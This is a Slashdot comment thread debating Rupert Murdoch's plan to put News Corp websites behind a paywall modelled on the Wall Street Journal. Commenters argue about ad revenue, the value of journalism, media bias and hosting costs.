Is it so sad? Execs at successful companies are not immune to errors in judgement (see AOL-TimeWarner merger, Microsoft's Ballmer's maniacal and self-destructive loathing of open source, etc...). Murdoch doesn't have a monopoly on understanding of the market, as much as he loves monopolies.

The fact that he was unable to properly monetize "free" content is further evidence that he has no clue of the online market.

Re:It won't work.

[SleepingWaterBear]

I think it's really quite sad that Slashdot viewers think they understand the industry better than Rupert Murdoch. All that crazy hubris could be used someplace more effective.

I don't have to think I understand the industry better than Rupert Murdoch to think this is a questionable move. I wouldn't be surprised if Murdoch himself thought this was a bit of a gamble. The reality is that right now Rupert Murdoch is between a rock and a hard place. He initially went with the free ad-based model because it was clear that subscription models were only working in special cases. Apparently the free approach is failing, and he's resorting to a subscription model as plan B.

Some types of media just aren't going to survive the changes the internet is bringing, and newspapers may be one of them. I don't think I know better than Rupert Murdoch. I think he knows that his industry is in trouble too. It will be interesting to see if he finds a way to convert his resources into something workable in the future.

Re:It won't work.

[pjt33]

Here in Spain we have eight political parties with seats in at least one of the two houses. Now, some of them are regional parties, but even though we're not locked into a two-party system there are three major newspapers, two for the right and one for the left.

Re:It won't work.

[linhares]

Most of the content of the WSJ is accessible for free, and I think all of it is.

1. Go to page in WSJ

2.Copy URL, paste URL and Google feeling lucky

3. Visitors from Google get a free ride

Re:It won't work.

[Bob9113]

I think it's really quite sad that Slashdot viewers think they understand the industry better than Rupert Murdoch.

I think it's really quite sad that Rupert Murdoch thinks he understands information better than Slashdot viewers.

He is a capitalist, we are information scientists. I would wager there were a lot of people at the turn of the last century opining on the folly of trusting capitalists over agriculturalists. "Everyone needs food, people can make their own carriages!" or something like that.

I'm a serious fanatic about free market economics (to the point that many in this noble forum think me a bit daft). But I see the writing on the wall (admittedly fifty years behind Peter Drucker). Capitalism versus informationism is no contest. It will be a bumpy transition, but the outcome is as certain as the sun rising tomorrow. Hitch your wagon to informationism or suffer the unfortunate decline of the farmer. The business models may not work yet, but that is the funny thing about the future; it comes whether we are ready or not.

All that crazy hubris could be used someplace more effective.

I think it is best placed doing its right job of offsetting some of the self-doubt that is so common in our sphere. We are the kings of the future and we should set about taking our throne, not bowing and scraping before the embers of the past.

Re:It won't work.

[lymond01]

He's likely banking on the fact that ad revenues can't support everything. The bandwagon of paying for news, sports, entertainment, etc online hasn't even started rolling yet, but I believe this is him giving it a push. It'll end up being a bit like Comcast: $100/month + ads + extra pay-for movie channels and on demand.

Hopefully not the whole Internet, but eventual micropayments wouldn't surprise me.

Re:It won't work.

[nelsonal]

It probably helps that the WSJ has always been a pay site, since it first went up. Even more that most of their client base is very used to paying tip top dollar for news a Bloomberg terminal lists at $1500/mo without any extras (trading private news etc).

Re:It won't work.

[CodeBuster]

You should read a little history; the US didn't invent the concept of right and left. The distinction is actually of European origin and goes back to the days of the French Revolution where it referred to the seating arrangements in the revolutionary legislative bodies of France and the French National Assembly of 1791 in particular; where the moderate royalist Feuillants were seated on the right side of the chamber and the radical Montagnards were seated on the left. The terms have survived into the present day as a useful distinction even though precisely who and what constitutes right and left has shifted somewhat over time.

Re:It won't work.

[thetoadwarrior]

The wall street journal will have more stuff worth reading 5 years later. Who the hell will pay to read Fox news' reports on swine flue in 5 years? Who will pay for it now?

Also, the typical WSJ user will have more wealth than the average mouth breather Fox news fan which is why the WSJ model won't work for Fox News.

Re:It won't work.

[sumdumass]

I guess you are missing the point. You don't need to pay to view, you need to pay to get extra. It doesn't matter who is willing to pay, some people will be, some will not be, but anyone can get the majority of the articles without paying if they follow the WSJ model.

Everyone I know in the UK

[Winckle]

reads BBC news anyway, so it won't do much here.

Re:Everyone I know in the UK

[thetoadwarrior]

Might as well, we have to pay for it via the TV licence.

Re:Everyone I know in the UK

[JBaustian]

I remember when the BBC was a reliable new source -- back in the good old days, the 1990s. Now it's just another propaganda network like al Jazeera or Pravda -- it's definitely worse than NPR.

Total crap in the news anway

[enigma32]

So, when I watch the news or read the paper, the only good stuff to read is international news anyway.

Will they be offering a cheaper or more expensive option to ignore all of the BS stories that they ram down our throats? (swine flu? little girl saves cat from tree?)

I have become so bored by general news that I literally only pay attention to international news and major US politics stories (being a US resident.)

I hope some of News Corp.'s competitors have a more forward thinking attitude about the matter, because Murdoch won't be getting one penny from me for the crap that I usually see portrayed as something I should care about.

Re:Total crap in the news anway

[sumdumass]

It he is modeling the sites after the Wall Street Journal's pay scheme, then he wouldn't have gotten a penny anyways from you. The WSJ is mostly free as it stands. The subscriptions give you access to catagory indexing of older articles, a list of articles going back 90 days, access to the Europe and Asia versions and so on. Most all of the major political and international news stories are and will be free for a limited time if the WJS model is implemented.

Re:Total crap in the news anway

[SoupIsGoodFood_42]

I agree. I go to Stuff.co.nz to get most of my non-tech news, but I don't think I would ever pay for it, even if there was no other free local new site. I'd just go back to TV and supplement it with whatever other news services are left on the net (because they won't all be charging).

Re:Total crap in the news anway

[MemoryDragon]

That is mostly a problem of the american news media less a problem of not having news.
I was several times in the US and I really was amazed about the non existing quality
of the so called local news and generally news outlets on television (I dont even talk about newspapers)

Re:Total crap in the news anway

[u38cg]

I'd strongly suggest picking up a copy or two of The Economist. Well written, well researched, international in outlook, and devoid of starlet-goes-wild stories.

Yea, Um..

[Nikkos]

Good luck with that.

This might work

[Phroggy]

Consider the ~30% of the population who honestly thinks George W. Bush was a great president. It's not too much of a stretch to imagine that some of them might be willing to pay a monthly fee to get access to foxnews.com, if the alternatives are left-leaning sites like msnbc.com or blogs they've never heard of.

Re:One can only hope...

[Anonymous Coward]

but you can't get the "real" news from anywhere else. *snicker*

Hello alternative media

[AHuxley]

Time to read :
http://maxkeiser.com/
http://cryptogon.com/
http://cryptome.org/
http://exiledonline.com/
http://www.truthnews.us/
Get a few days or weeks or months heads up on what the tame mainstream press with 'discover' if and when they are allowed to.

Re:Hello alternative media

[istartedi]

I hope we can come up with better alternatives than that. While what gets reported by the MSM might be selective, at least most of the facts aren't in dispute. I have no desire to wade through the "news" trying to figure out who has a scoop and who simply forgot to take their meds. Alex Jones??? I think I'm gonna puke.

Re:Hello alternative media

[Yvan256]

I get all my news and rumors from a little unknown website called "slashdot".

The news are always fresh, they never repeat their news and the views of the editors are impartial, especially to corporations like Microsoft and Apple. They also have a moderation system that is so brilliantly designed that it cannot be messed with, even by monsters known as "trolls".

Oh, did I mention they never repeat their news?

Re:Hello alternative media

[taucross]

You forgot Pravda!

Re:Hello alternative media

[Cyner]

And you put a "www" in the url... you call yourself a /. reader?

Re:Hello alternative media

[jbell730]

Also, Project Censored. That's a much better source anyway, IMO (and probably many other peoples', too).

Re:Hello alternative media

[orcateers]

One thing I've learned by reading a vast array of kooky personalities on the internet is to be immediately suspicious of "news" sites that make a really big deal about how "alternative" and "fringe" they are. Often, places like this are trying to push a narrative about how "I don't have time to cite any sources because my expose about the secret international police state is just too mind blowing and the man is trying to shut it down" and "You can join me in my heroic quest for truth and justice if you just buy ten copies of my free DVD"

Re:This is a good thing

[Anonymous Coward]

Right. It's so fucking easy to clean up 8 years of unmitigated spending, 10 trillion dollar deficit and the fallout for artificially leaving interest rates so low for so long.

2 years should be a piece of cake!

I'm going to predict that this will work.

[tjstork]

I'm going to predict that this will work.

Who cares about how many hits you have, when the real key is profitability. The WSJ is pretty good online and its worth the subscription.

Obviously Fox News's site is a different animal but if you just had a Fox media site with reporting that was real, it could work.
But for that to happen, you have to give people content they are willing to pay for, and that means that Murdoch has to invest in journalism if he wants people to pay for it.

Technologically, what the media needs is a micro-payments system setup so that you can have a single billing identity that lets you get all the stories... it would cover Fox, CBS, etc, and a bunch of news sites.

Re:I'm going to predict that this will work.

[rastilin]

Obviously Fox News's site is a different animal but if you just had a Fox media site with reporting that was real, it could work.

You mean in a different universe not like our one, it's a workable plan.

Re:I'm going to predict that this will work.

[sumdumass]

When you look at the WSJ's pay model, you don't see what we traditionally think of as a pay site. It doesn't just give you headlines and request a login to see the rest of the stories (like Porn sites do). In fact, about 90% of the days news stories are freely availible that day with a few being availible for a couple days. The subscription covers some other articles that they didn't make availible, access to 90 days history of articles sorted in a categorical index that you can customize and access to the Europe and Asia editions in full. If you do have a subscription, try viewing the site without loging in.

Fox news sites aren't different from most other network news. The biggest problems there are that people cannot seem to separate the opinions from the news shows from the news being presented by the network. Don't get me wrong, I'm not saying they never make mistakes but they correct their mistakes as a news network should and in the same ways that ever other network does (they make mistakes too). Now too many people think that Hanity's program or that O'Reily's program are the same as anchor news desks like the CBS Evening News or CNN's headline news. They are not, they are the equivalent of op-ed pieces in the newspaper where people comment on the news and say what they think it means. This is a prime reason why they have guests on to present their opinions which may differ. The Fox Network News simply reports the facts and doesn't attempt to say what it means except when they have to explain some term or something.

Now I will admit that I haven't watched Fox news channels in the past couple years outside of passing as I got rid of cable a long time ago. They could have changed dramatically since I viewed it regularly but the comments against them haven't so I see no reason to believe they have changed.

Re:I'm going to predict that this will work.

[RiotingPacifist]

Even fox news is pretty biased

Re:I'm going to predict that this will work.

[tjstork]

Even fox news is pretty biased [youtube.com]

All news is biased and always has been. The whole essence of journalism is not to convey a "true" picture of a situation as it is to use facts to create a story that entertains the readers. The thing about Fox is that they pick news based upon more center-right instincts and the traditional media is center-left. That America is a center-right country explains why so many right leaning outlets are gaining and so many left wing outlets are losing, and that, democrats winning isn't so much the democrats are great, but Republicans have been apallingly stupid.

Advertising Not Cutting it?

[Cytos]

NY Times, WSJ, Myspace, Foxsports, Hulu (45%), askmen, rottentomatoes, photobucket, IGN, gamespy... Seriously, these sites all have tons of advertising all over the place. What will a pay-for model get them other than a major loss of market share?

Re:Advertising Not Cutting it?

[mjwx]

IGN, gamespy... Seriously, these sites all have tons of advertising all over the place.

There's your problem.

Intrusive and obnoxious advertising is why I stopped reading these site. That and Gerstmann, but that's just an extension of a bad advertising policy

Re:Advertising Not Cutting it?

[sumdumass]

Go to the wall street journal's site and see what you can get without paying right now. The subscription offers access to features and the few stories they don't freely reproduce.

I guess the real question might be what will you gain by getting a subscription. As it stands, it seems that the WSJ's model they are looking to implement is more of a value added service then a traditional pay site that give part of the story then asks you to log in for the rest. I'm not terribly impressed with the idea but I'm not unimpressed with the WSJ's implementation to date.

Re:This is a good thing

[JonBuck]

Because a sheep-like mentality is limited to the right wing only?

The absolute worst thing anybody can do is dehumanize their opposition by calling them sheep or assume that they're not intelligent.

Re:This is a good thing

[Anonymous Coward]

Silly Americans with their "right wing" vs "left wing" so-called political opinions...

Nothing in real life is black or white, it's always shades of grey.

WAKE UP.

How does this work?

[jc42]

So if Rupert sends me a bill for something that I've never ordered, do I have to pay him?

If not, how does he expect to make any money?

If so, I think I'll send him a rather large bill for a bridge that I just sold him.

Re:This is a good thing

[Darkness404]

As opposed to the lack of spending in the current administration? Bush wasn't great, but Obama isn't good either.

1. Wall off content 2. ???? 3. PROFIT!

[bl968]

What he is most likely hoping for is that the eight other giant publishing companies follow his lead and as act together as an oligopoly.

Firms often collude in an attempt to stabilise unstable markets, so as to reduce the risks inherent in these markets for investment and product development. There are legal restrictions on such collusion in most countries. There does not have to be a formal agreement for collusion to take place (although for the act to be illegal there must be a real communication between companies) - for example, in some industries, there may be an acknowledged market leader which informally sets prices to which other producers respond, known as price leadership.- Wikipedia

In this case the big publishing companies held a meeting with antitrust lawyers watching every step to map out a strategy to do just this.

Re:1. Wall off content 2. ???? 3. PROFIT!

[C18H27NO3]

Wasn't it a few years ago that cnn.com started requiring payment to view their videos until they scrapped the idea relatively shortly thereafter?

No Spin Zone...

[dmartine40]

"In what appears to be a carefully planned suicide..." Is it possible to mod a story submission as flamebait?

Re:No Spin Zone...

[rastilin]

"In what appears to be a carefully planned suicide..." Is it possible to mod a story submission as flamebait?

I've seen the flamebait tag get used often around here, however this wouldn't be the first time I'm thinking it's a valid comment.

A man that should call everything by it's right name would hardly pass the streets without being knocked down as a common enemy. --Lord Halifax

Re:No Spin Zone...

[MrMista_B]

Is it flamebait if it's true?

Re:No Spin Zone...

[Anonymous Coward]

Remember, it's only flamebait if it goes against the general Slashbot sheep ideals.

Re:No Spin Zone...

[fermion]

The problem is the no spin zone is that it assumes a preferential reference frame....

In Murdochs world that preferential reference frame is that a few fanatics will allow themselves to spend money the otherwise would not merely because it makes them part a group. This not a judgement call, it is just a fact. Many people pay for cable just to get Fox News. These are people that don't even buy clothes until thier old clothes are falling apart. Just saying.

Likewise, the WSJ model works because almost everyone who subscribes can take it off their taxes. In this socialist reality, the US tax payers pay a significant portion of the subscription.

The realistic, spin zone, which take other reference frames into account, is that people will not pay for everything. For example, Hannity has a presence on Fox News, but I bet more people listen to him for free rather than watch him on cable, and those will go to his free site. The same goes with the rest of the holdings. A few will pay, many will not. The NYT already tried this. They made more money with advertising. Sure they are in financial trouble, as Fox new so like to gloat, and often without honest disclosure about the the ownership of the NY Post.

The number of people who pay for web content is very few, just like the number of people who pay for a newspaper is few. In most case, people take the daily paper and justify the cost with sunday coupons.

Re:No Spin Zone...

[dmartine40]

Absolutely - That Murdoch is considering charging for his content, and that this may be a risky move on his part isn't an issue. At least I wouldn't consider it as much an issue as the spin and speculation already put into the submission itself. From what I have read so far in this forum, it seems a lot of commentors have taken the first line out of this summary as a foregone conclusion.

Re:No Spin Zone...

[isBandGeek()]

Well, you could tag it as such.

Re:No Spin Zone...

[mqduck]

It's called humor. Learn to enjoy or ignore it instead of abusing on the moderation system, Slashdot.

Re:This is a good thing

[Anonymous Coward]

So you clean up by doubling the deficit within 6 months? That'll make things MUCH better. Good show. Sheep.

People have been spoiled...

[Anonymous Coward]

Since the beginning of the Web, things have largely been free. Free cannot last forever. Ads will not continue to pay for bandwidth, servers, people, etc.

Newspapers are not free, books are not free, movies are not free. All these mediums have people behind them. People like you that like to eat. To buy clothes. To ensure their kids have a great Christmas.

It's about time that things were not free. I disagree with free webmail. The amount of spam would go way down if people had to pay.

Nothing in this world is free. People have to get paid.

Re:People have been spoiled...

[tomhudson]

Since the beginning of the Web, things have largely been free. Free cannot last forever. Ads will not continue to pay for bandwidth, servers, people, etc.

... when you can get 10 Tb of transfer a month for $69, servers and bandwidth are essentially free. If you can't make a profit from it, then please be free to drop dead. Not my problem that you can't find a buisness model that makes a profit in an industry with low barriers of entry.

Newspapers are not free, books are not free, movies are not free. All these mediums have people behind them. People like you that like to eat. To buy clothes. To ensure their kids have a great Christmas.

... and the same was true with buggywhip manufacturers, and telephone operators who manually connected every phone call, and GM. Why should I have to bail them, or you, out?

It's about time that things were not free. I disagree with free webmail. The amount of spam would go way down if people had to pay.

I already pay. I pay my ISP. I pay for my servers. I hate spam as much as the next person, but I also don't want yet another hand in my pocket, running yet another "protection racket." Want to eliminate spam? Have a system of fines for people stupid enough to buy shit off them - and a 3-month jail term for a 3rd offense. Spam works because people are stupid, lazy, and greedy.

Nothing in this world is free. People have to get paid.

There are plenty of things in this world that are free - that's why they're priceless. It's not all about money, and it's not all about your (or anyone else's) "right" to make money. You have the right to fail in business, same as everyone else. Not everyone puts up a website to make money from ad dollars - there are legit sites that offer customer support, online ordering, etc. So take your adwords accounts and "seo optimization" and go fuck yourself, if you can't provide a legit service.

Re:People have been spoiled...

[DerekLyons]

when you can get 10 Tb of transfer a month for $69, servers and bandwidth are essentially free.

Maybe you can get that from a typical hosting company, who oversells their capacity and bet that nobody uses even a fraction of it and who has one administrator for a whole low rent data center... But real servers (dedicated servers, not virtuals crammed 100 to a box), full capacity pipes, and dedicated administrators with a triple nine data center cost considerably more.
 
On top of which, you conveniently forgot the cost of providing content - which isn't cheap.

Re:People have been spoiled...

[AcidPenguin9873]

Newspapers are not free, books are not free, movies are not free. All these mediums have people behind them. People like you that like to eat. To buy clothes. To ensure their kids have a great Christmas.

... and the same was true with buggywhip manufacturers, and telephone operators who manually connected every phone call, and GM. Why should I have to bail them, or you, out?

I hate this analogy, and Slashdot is absolutely the worst proponent of it.

Buggywhip manufacturers, manual telephone switch operators, monks who manually copied documents, etc., all lost their jobs because they no longer added value to society and/or their employers. No one needed buggywhips when cars supplanted horse-drawn carriages, no one needed a person to switch calls if a computer could do it faster and cheaper, and no one needed monks to manually copied documents when the printing press could do it faster and cheaper. That all makes sense.

The analogy fails for media because people still want media, and still want media to be created by media creators (writers, musicians, filmmakers, artists, producers, etc.). In other words, the media creators still add value to society and/or their employer. The media's value is in its creation, not in its distribution.

And as everyone loves to point out, distribution costs can go to $0 or close to it...but creation costs do not. You still have to pay writers, musicians, filmmakers, artists, producers, etc., to create the media. If you choose not to pay your media creators, then you end up with amateurs recording home movies of their cats doing stupid things and uploading them to YouTube. Which has yet to make a profit for anyone.

So, no, news and reporters are not on par with monks who copied documents thousands of years ago. They are reporting news, and there is still value in, and demand for, that.

Re:People have been spoiled...

[pjt33]

It's a newspaper. The traditional newspaper financial model is to lose money on distribution but make it back with advertising. The problem isn't the cost of servers, bandwidth and content: it's that advertising on the web doesn't bring in much money any more.

Re:People have been spoiled...

[gkai]

The analogy fails for media because people still want media, and still want media to be created by media creators (writers, musicians, filmmakers, artists, producers, etc.). In other words, the media creators still add value to society and/or their employer. The media's value is in its creation, not in its distribution.

And as everyone loves to point out, distribution costs can go to $0 or close to it...but creation costs do not. You still have to pay writers, musicians, filmmakers, artists, producers, etc., to create the media. If you choose not to pay your media creators, then you end up with amateurs recording home movies of their cats doing stupid things and uploading them to YouTube. Which has yet to make a profit for anyone.

So, no, news and reporters are not on par with monks who copied documents thousands of years ago. They are reporting news, and there is still value in, and demand for, that.

The skilled media creators can still make a living...but most journalist certainly are not. I would far prefer to read stories from people directly concerned than from journalist (that only compile stories from other, with better syntax and some editing - hopefully not creative editing if not pulling something out of their ass).

For me, journalism is dead (except maybe for the few ones that still do their own investigation in difficult conditions, sometimes risking their lives doing so).
Just because people WANT to speak about interresting things that happen to them, and can do it directly now.

Re:People have been spoiled...

[Alterion]

but we are not talking about the death of media, we are talking about the death of newspapers, a peculiar and old fashioned way of delivering the news that assumes one organisation with massive overheads needs to be the authoritative source for all of your news and culture and opinion and restaurant reviews for the next day. I do believe that reporters add value, but the majority of what is in a "newspaper" at this time is just rehashed AP/Reuters stories, perhaps with some banal comment added - there is very little value in that. There is no more value in that than there is in cat videos's on youtube.

Re:People have been spoiled...

[metamatic]

Buggywhip manufacturers, manual telephone switch operators, monks who manually copied documents, etc., all lost their jobs because they no longer added value to society...

Yes, and we're talking about Rupert Murdoch here.

Re:People have been spoiled...

[ScentCone]

I would far prefer to read stories from people directly concerned

Ah, so you prefer the White House press secretary's spin over a professional investigator/reporter actually bothering to ask how something is going to paid for?

I'll never understand why people who don't want to pay real journalists think that the Hugo Chavez model is superior. Actually, maybe there is a pattern there. It's always the lefty nut jobs who bitch about having to pay for content creation, and who also bitch about not having enough control over the media or over other people's voices (I'm particularly amused, this week, by the Democratic National Committee running ads that call people who get together and complain out loud about the prospects of Obamacare "an angry mob" - the irony is fantastic, coming from a "community organizer" - and about the White House asking to have "fishy" emails on the topic forwarded to them for a once over). But Hugo's got your answer! Government control over the media. He just shut down another couple dozen radio stations (which were operating profitably, thank you very much) because they were originating their own content, and not repeating the words of the "directly concerned" Chavez. He also mentioned that anyone who acts like a reporter and criticizes his government will be going to jail. Ah, the left's strange and wonderful relationship with media. It's all about freedom of expression for them, and freedom from expression by anyone else.

Re:People have been spoiled...

[Jason Levine]

Yes, nothing in this world is free.

So how much do I need to pay you for reading the post you just made? Hopefully, it's about the same amount as my charge for reading this post.

Re:People have been spoiled...

[implowry]

The "media" doesn't even pay writers, musicians etc anymore, at least not for Television. Witness a thing called reality TV.

Re:People have been spoiled...

[thisnamestoolong]

So, no, news and reporters are not on par with monks who copied documents thousands of years ago. They are reporting news, and there is still value in, and demand for, that.

No, they aren't. But newspapers are. Newspaper subscriptions cover the paper, not the news. Ads have always paid for the creation of the news. That is why you don't have to pay a subscription to watch the news on broadcast television or terrestrial radio. Claiming that we need to charge subscription fees because it costs money to make the news is a straw man argument, this is not in dispute. Nobody is saying that they should do this for free, the discussion is the source of that revenue, and all the research shows that ads can provide more than enough revenue to make huge profits.

Re:People have been spoiled...

[AcidPenguin9873]

Ads have always paid for the creation of the news.

Citation and/or balance sheet needed. I was under the impression that ads, classified revenue, and subscription revenue combined paid for everything - writers, editors, staff, printing/distribution costs. If you have more detailed data, that would be great. I'm actually very interested to see how much printing/distribution costs are vs. paying the reporters' and editors' salaries.

With a free, online-only, online-ad-supported business model, there is no subscription revenue and no classified revenue (people just use Craigslist which is free). Online distribution is much cheaper, but I'd need to see real numbers to believe that it works for anyone. Is there a free ad-supported newspaper, or online division of a print newspaper, that makes a profit or at least breaks even on paying salaries plus online distribution costs?

That is why you don't have to pay a subscription to watch the news on broadcast television or terrestrial radio.

Those are different forms of getting the news, with different ad revenues and cost structures. Everyone on Slashdot is predicting the death of radio because of free internet streams and/or a good selection of cheap music via iTunes or Amazon, so let's say radio goes away in a few years.

That leaves television as the major free ad-supported content service. It is definitely ad-only revenue, but TV gets the benefit of allowing ad revenue for other things (live events, sitcoms, etc.) subsidize the entire lineup of broadcasting which includes news. And TV news is somewhat different than print news: lots less coverage, more major headlines and fewer smaller pieces. At least I still like print news because of the much wider coverage I get. And ads on TV are different than online ads - viewers are arguably forced to watch them, and probably because of that they bring in much more revenue. And a bit more on the forced-to-watch and subsidization points: if ad-free, a-la-carte, on-demand TV services arrive, and people can just pay a few bucks for their favorite shows, free ad-supported news on TV might take a nosedive.

I realize these are not terribly strong arguments for my point, but I don't think your arguments were much stronger.

Re:People have been spoiled...

[AcidPenguin9873]

Yes, but who pays the AP/Reuters reporters? Used to be the newspapers, who would fund their wire subscriptions by selling their own newspaper with the wire stories in it.

Granted, with the advent of the Internet and nearly-free distribution, we don't need multiple newspapers per city, or even multiple newspapers across the country for that matter, reprinting AP stories, since everyone can get it online from the AP itself.

But, again, reporters (AP/Reuters, local, foreign, whoever) are doing their jobs, investigating, writing stories of value that people want to read, etc. In capitalist society, they have to be paid somehow.

Re:People have been spoiled...

[Vexorian]

Newspapers are not free

But news are.

books are not free

You know, with some good scavenging you can find GNU Public Documentation Licensed/Creative commons books. Completely legal to be free as in beer and as in redistribution... Why would people write books for free? I have no idea! Maybe they wrote the book to teach their students , and they just want their ways to be learned by most of the world. They are not interested in profit but in accessing as many minds as possible...

movies are not free

But there is motion entertainment for free out there.

There are also free comics. There's even shitloads of free software out there. What's up? Why do these guys make things for free? I dunno, but maybe, maybe they have a different agenda than profit? Or maybe they managed to have a way to profit without selling a product? Sounds like crazy stuff...

All these mediums have people behind them. People like you that like to eat. To buy clothes. To ensure their kids have a great Christmas.

Well, sure, but is it my problem? If some random guy on the internet can make a version of your product, for free or less expensive. Then why should I bother with you? These old industries seem to have some huge sense of entitlement. But really, nobody is entitled to profit, nobody... I don't care if these guys' Christmas gets ruined. If there is a free replacement for their services out there, and it is the same or better in quality - according to me, the consumer - then I should not hesitate to pick the free alternative... Call me a freeloader if you want. The only way to stop this is not by making me feel sorry about your kids' christmas, but to a) Adapt. or b) Manage to exterminate all the free alternatives.

It's about time that things were not free. I disagree with free webmail. The amount of spam would go way down if people had to pay.

hahahahahahaha! You don't understand how does spam work in the slightest.

Re:People have been spoiled...

[Vexorian]

The analogy fails for media because people still want media, and still want media to be created by media creators (writers, musicians, filmmakers, artists, producers, etc.). In other words, the media creators still add value to society and/or their employer. The media's value is in its creation, not in its distribution.

Except of course, the corporations being analyzed by the analogy are not media creators. But merely corporations that look for media creators, distribute the creators' stuff and then pay them a small percentage of their earnings. Unless you are not an incredibly great creator (according to THEIR standards), in which they will just ignore you and let you move to a cubicle job.

In the freeloaders' internet of today, media creators are everywhere. I as an user do not need a corporation to filter prospective artists, instead they can just post something in say... deviantart. If I like it I might as well buy a print or a cup with the design they created. So the "finding artists" role of these corporations is effectively obsolete. The internet itself allows them to distribute their stuff for free. What's best is that for most media creators, the incredibly mild amount of revenue they make through the internet is still much higher than what they would made through the old methods (which is nothing as the corporations wouldn't bother with them). Amazing, is it?

Re:People have been spoiled...

[DragonWriter]

The analogy fails for media because people still want media, and still want media to be created by media creators (writers, musicians, filmmakers, artists, producers, etc.).

For some media, that is true. For, e.g., newspapers (dead tree, especially, but overall, as well, even including the internet forms) all the evidence is that people increasingly don't want them. That's what it means when people aren't willing to pay for something. Sure, its a trend over time, and, sure, even in the end it probably won't lead to total elimination; but cars didn't replace horses and horse-drawn carriages as the dominant mode of transportation immediately, and even today horses and horse-drawn carriages have a niche.

So, no, news and reporters are not on par with monks who copied documents thousands of years ago. They are reporting news, and there is still value in, and demand for, that.

Actually, for quite a long time, cost cutting trends led to "news" outlets doing less and less discovery of the news and more and more serving as an uncritical relay for press releases and statements from interested parties. In the online age, even as a whitewashing tool to provide credibility, mass "news" media outlets are less necessary in that role, and the advertisers who are the prime revenue stream for mass "news" media aren't interested in paying the cost for news gathering.

Specialized media with a narrower, more engaged audience do gather information more critically, but they have always been distinct from the mass media.

Re:People have been spoiled...

[AcidPenguin9873]

Except of course, the corporations being analyzed by the analogy are not media creators.

Yes, they were. Read the posts again. The OP was talking about *reporters*, and the first response was to analogize *reporters* to other people and other jobs (not corporations) that had been replaced by technology. My post was intended to address that one issue - the issue of reporters and the value they create, not the corporations. Various other responses like yours have steered the thread back to the original submission topic of news corporations, which are much easier to deconstruct and hate on, but that's not what this thread was discussing.

Re:People have been spoiled...

[tomhudson]

You miss the point - big media are being "disintermediated" all the time. Why do I need a book publisher when physical books are becoming obsolete? So they'll pay me for my work? Get real - most books don't earn their advance, which is usually so small that the the author would be better off washing floors for minimum wage. Most authors write first and foremost because they WANT to - not because someone is paying them to. They have a story to tell.

Same with music - most people don't learn an instrument because they want to make money, but because they want to play music. Music won't disappear if suddenly the market for paid music collapsed.

Same with art. How many artists died in abject poverty, only to have their works finally rise in value well after they croaked?

Heck, since this is slashdot, let's use a more accessible example - the person who writes code solely because they're paid to is going to produce crap in comparison to someone who is writing code first and foremost because they enjoy the creative process, and the money is just an added bonus that lets them scratch their itch.

Re:People have been spoiled...

[tomhudson]

No, real individual servers, your own individual server box, 10mb direct connection to the internet, with 100mb available for $10 more per month ... the virtual deals are something like $70 a YEAR (lower with a long-term commitment).

And I've been in one of their buildings (they have 3 locally) - VERY nice, modern, independent power, and calls to tech support at 3am get answered by a human being. When you have tens of thousands of REAL individual servers (not virtual) on one location, you can afford those nice extras.

As for the content, who gives a fuck about most of the "content" out there? TV shows? I haven't even used my dish since December. Radio? One day I got tired of listening to the same crap all the time and just turned it off. Life is too short to waste on shit like American Idol. I'd rather read a book, and I pay for my books, so I support the authors I like. One day, I'll probably become a convert to downloadable books, but only because print will die out - in which case, why not patronize the authors directly?

Re:People have been spoiled...

[tomhudson]

It's called "rubbing their nose in it." You'd be surprised how many people keep on buying crap because they don't believe the nice person is really a scammer. "But the nice salesperson said this $4,000 bed would help my diabetes." WTF???

At least sit them down and have them watch "Matchstick Men." And fit a filter on their TVs so that they can no longer receive CNN, Fox, or the shopping network.

Re:People have been spoiled...

[tomhudson]

News flash - soap operas have always been where television profits are - low cost to produce, dependable audience, advertisers love the gullible consumers ... (and no, this is not sexist - there are guys who are just as hooked on the soaps, but they won't admit it).

Re:People have been spoiled...

[AcidPenguin9873]

Sigh. Everyone on Slashdot apparently thinks that people will just keep making stuff for free if no one can get paid. Open-source software, for example? Most of the high-quality stuff (not the abandonware at SourceForge or Freshmeat) is done by paid developers that are funded by big corporations that sell their software in combination with hardware and support services.

So then people look at that model and say, let's apply it to any art or copyright business model. That's where you get ridiculous stories like this one that think it's a good idea for software developers to stop developing software and go on speaking tours to make money.

I completely agree that the best stuff comes out of people that are passionate about their art/work. But I think most of them hope to make money at it "someday". If they can't make a living doing it, they're going to have to make a living doing something else, like wash floors, and that just takes time away from what they could be working on. Since they're creating something of value, I don't see why we can't pay them for it.

Not only that, but with art and music, before the rise of copyright-controlled mass distribution, tons of it was commissioned by wealthy individuals, or by the church. Have you ever been to the Vatican museums? There are probably 2000 Madonnas, all by different artists. That's how artists paid the bills 600 years ago - commission-based painting for the church.

Re:People have been spoiled...

[DerekLyons]

No, real individual servers, your own individual server box, 10mb direct connection to the internet, with 100mb available for $10 more per month ... the virtual deals are something like $70 a YEAR (lower with a long-term commitment).

Sorry, but you aren't getting a real full power server for $69/mo. Either somebody is selling you some snake oil, or they have some Really Big customers subsidizing everyone else. That monthly price doesn't even make enough money to cover replacement costs for a half decent laptop.
 
 

And I've been in one of their buildings (they have 3 locally) - VERY nice, modern, independent power, and calls to tech support at 3am get answered by a human being. When you have tens of thousands of REAL individual servers (not virtual) on one location, you can afford those nice extras.

Only if you are pulling in a lot more than $69/mo per box, or if you're cheaping out somewhere else can you afford those nice 'extras'.
 
As for content, just because you're an ignorant fuck doesn't mean the rest of us are. You need to get out more.

Re:People have been spoiled...

[gkai]

I do not trash investigation journalist, that go deep to get information that would have remained hidden if they didn't. There are very few of those left. What is worst, it is now difficult to know, when you read a column, to know what is personal investigation, what comes for news agencies, and what comes from wikipedia/google/the author gut feeling...

I trash compilation journalists, that (often using the net) gather readily available info and witness stories, add an "expert" interview into the mix and blurb a semi-edited (removing polically incorrect phrasing and hinting about relation with the current trendy subject) column...

I can gather from the net as well as them, the expert are usually worthless when I know the subject (and, given innacuracies, I suspect they are not really usefull for the subjects I do not know), and there are endless ramification available should I choose to investigate further.

BTW, opinions and fact coloring is much stronger in newspaper that directly on the net. Sure, people distort the facts there, but at least you get multiple distortion, not the one filtered by the journalist, the main editor, and finally financial and/or political backers...

 

Re:People have been spoiled...

[tomhudson]

The question isn't whether producers of stuff deserve to be compensated - the question is whether newspapers and other aggregators and distributors are all that relevant any more.

